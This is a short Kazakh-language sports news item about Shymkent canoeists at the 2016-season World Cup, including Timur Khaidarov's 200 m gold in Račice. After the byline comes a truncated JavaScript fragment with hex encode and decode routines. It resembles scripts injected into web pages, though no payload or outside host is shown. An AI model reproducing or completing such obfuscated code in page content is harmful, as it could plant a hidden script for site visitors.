ShYMKENT. 1 maýsym. Shymkenttik Tımýr Haıdarov baıdarkamen kanoeda eskek esýden Álem kýbogynyń ıegeri atandy. Bul týraly egemen.kz tilshisi habarlady.
Álem kýbogy básekesi Chehııanyń Rachısa qalasynda ótti. Tımýr Haıdarov 200 metrge jarysta altyn medal alsa, komandalasy Mereı Medetovpen juptasyp esýde ekinshi oryn ıelengen.
Sonymen qatar, Ońtústiktiń eskekshileri ulttyq quramanyń sapynda Germanııada ótken Álem kýbogynyń alǵashqy kezeńinde de júldege ilikti. Sergeı Emelıanov kanoeda eskek esýden 500 metrge jarysyp, qola júldege ıe boldy. Álem kýbogy úshin bul synaqtar Qazaqstan eskekshilerdiń Olımpıada aldynda daıyndyǵyn pysyqtaýǵa jaqsy múmkindik boldy. Rıo-de-Janeıroǵa Ońtústiktiń alty eskekshisi lısenzııany jeńip alǵandyǵy belgili. Endi Álem kýbogy jolyndaǵy básekede júldegerler qatarynan kórinýi bul sportshylardyń Olımpıadaǵa tek qatysyp qaıtýdy oılamaıtyndyǵyn ańǵartady.
Baqtııar Taıjan.
Derek, foto: egemen.kz
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "egemen.kz"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e